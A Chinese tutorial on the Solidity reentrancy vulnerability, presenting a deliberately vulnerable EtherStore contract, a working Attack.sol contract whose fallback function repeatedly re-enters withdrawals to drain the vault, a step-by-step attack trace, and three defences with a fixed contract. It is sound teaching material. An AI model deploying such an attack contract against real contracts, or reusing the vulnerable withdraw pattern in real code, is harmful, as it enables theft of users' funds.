区块链Solidity安全-重入漏洞

重入漏洞说明

以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅局限于外部账户,合约账户同样可以拥有Ether,并进行转账等操作(以太坊的合约账户拥有外部账户同样的功能,只是外部账户由持有该账户私钥的用户控制,合约账户由合约代码控制,外部账户不包含合约代码)。

向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回调函数(fallback)。

在以太坊智能合约中,进行转账操作,一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为“重入漏洞”

利用“重入漏洞”执行的攻击方式被用于臭名昭著的DAO攻击中。

漏洞介绍

当以太坊智能合约将Ether发送给未知地址(地址来源于输入或是调用者)时,可能会发生此攻击。

攻击者可以在地址对应合约的Fallback函数中,构建一段恶意代码。当易受攻击的合约将Ether发送给攻击者构建的恶意合约地址时,将执行Fallback函数,执行恶意代码。恶意代码可以是重新进入易受攻击的合约的相关代码,这样攻击者可以重新进入易受攻击合约,执行一些开发人员不希望执行的合约逻辑。

攻击演示

考虑简单易受伤害的合约EtherStore,该合约充当以太坊保险库,允许存款人每周只提取1个Ether。

EtherStore.sol:

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }

该合约有两个公共职能: depositFunds()withdrawFunds()

  • depositFunds() 功能是增加发件人余额
  • withdrawFunds() 功能允许发件人指定要撤回的wei的数量,并且如果所要求的退出金额小于1Ether并且在之前一周没有发生撤回操作,它才会成功。

但是,当恶意攻击者,使用“重入漏洞”对合约进行攻击时,将不会按照合约创建者希望的逻辑进行执行。

漏洞出现在第17行代码:

        require(msg.sender.call.value(_weiToWithdraw)());

考虑下面这个恶意攻击者创建的攻击合约Attack.sol,攻击者可以利用攻击合约不按照规则进行Ether的提取撤回。

Attack.sol:

import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // intialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }
  
  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }
  
  function collectEther() public {
      msg.sender.transfer(this.balance);
  }
    
  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

假设EtherStore.sol的合约地址是:0x0...01;Attack.sol的合约地址是:0x0...02;
假设EtherStore.sol合约已经有用户使用过,并且将若干Ether存入了合约,并还没有进行撤回提取,将设当前合约的Ether余额是100ether。

攻击过程如下:

  1. 攻击者创建攻击合约,并执行构造函数,传入参数是以太坊保险库合约EtherStore对应的合约地址:0x0...01;
  2. 攻击者调用合约Attack(0x0...02),并存入若干Ether(大于1ether);
  3. 攻击者调用合约Attack(0x0...02)的 pwnEtherStore() 方法;
  4. Attack.sol - Line[15] :恶意合约调用易受攻击合约的 depositFunds 方法,并转入1ether;
  5. EtherStore.sol - Line[8] :易受攻击合约中 balances["0x0...02"] = 1 ether
  6. Attack.sol - Line[17] :恶意合约调用易受攻击合约的 withdrawFunds() 方法,撤回提取1ether;
  7. EtherStore.sol - Line[12-16] :易受攻击合约的12到16行检查操作,将会全部通过(余额大于1,且在之前的一周没有执行过撤回提取操作);
  8. EtherStore.sol - Line[17] :易受攻击合约执行第17行代码,像攻击合约地址转账1ether,由于转账地址是合约账户,将会执行对应合约的fallback函数;
  9. Attack.sol - Line[26-28] :攻击合约的fallback函数执行,检查易受攻击合约的余额(当前余额是101ether),检查通过后,继续调用 withdrawFunds() 方法,撤回提取1ether,重新进入易受攻击合约,此时易受攻击合约的第17行代码后的代码全部没有执行完成;
  10. EtherStore.sol - Line[12-16] :易受攻击合约的12到16行检查操作,由于此前的调用并没有执行18行和19行代码,因此, balances["0x0...02"] = 1 etherlastWithdrawTime["0x0...02"] = 0 ,验证将通过;
  11. EtherStore.sol - Line[17] :易受攻击合约将再次执行第17行代码,像攻击合约地址转账1ether;
  12. 此后将重复6-11步,直到将易受攻击合约的余额(101ether)全部转账给攻击合约地址(Attack.sol合约的第26行为false);
  13. EtherStore.sol - Line[18-19] :执行,设置 balanceslastWithdrawTime ,并结束合约调用。

最终的结果是,攻击者只用一笔交易,便立即从 EtherStore 合约中取出了(除去 1 个 Ether 以外)所有的 Ether。

漏洞预防

有许多常用技术可以帮助避免智能合约中潜在的重入漏洞。这里提供三种预防技巧:

  1. 在将 Ether 发送给外部合约时使用内置的 transfer() 函数 。transfer转账功能只发送 2300 gas 不足以使目的地址/合约调用另一份合约(即重入发送合约)。

  2. 确保所有改变状态变量的逻辑发生在 Ether 被发送出合约(或任何外部调用)之前。在这个 EtherStore 例子中,EtherStore.sol - Line[18-19] 应放在 Line[17] 之前。将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为 检查效果交互(checks-effects-interactions) 模式。

  3. 引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。

预防演示

给 EtherStore.sol 应用所有这些技术(同时使用全部三种技术是没必要的,只是为了演示目的而已)会出现如下的防重入合约:

contract EtherStore {

    // initialise the mutex
    bool reEntrancyMutex = false;
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;
    
    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(!reEntrancyMutex);
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
        // set the reEntrancy mutex before the external call
        reEntrancyMutex = true;
        msg.sender.transfer(_weiToWithdraw);
        // release the mutex after the external call
        reEntrancyMutex = false; 
    }
 }

真实漏洞利用案例

The DAO(分散式自治组织)是以太坊早期发展的主要黑客之一。当时,该合约持有1.5亿美元以上。重入在这次攻击中发挥了重要作用,最终导致了 Ethereum Classic(ETC)的分叉。有关The DAO 漏洞的详细分析,请参阅 Phil Daian 的文章

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,126评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,254评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,445评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,185评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,178评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,970评论 1 284
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,276评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,927评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,400评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,883评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,997评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,646评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,213评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,204评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,423评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,423评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,722评论 2 345

推荐阅读更多精彩内容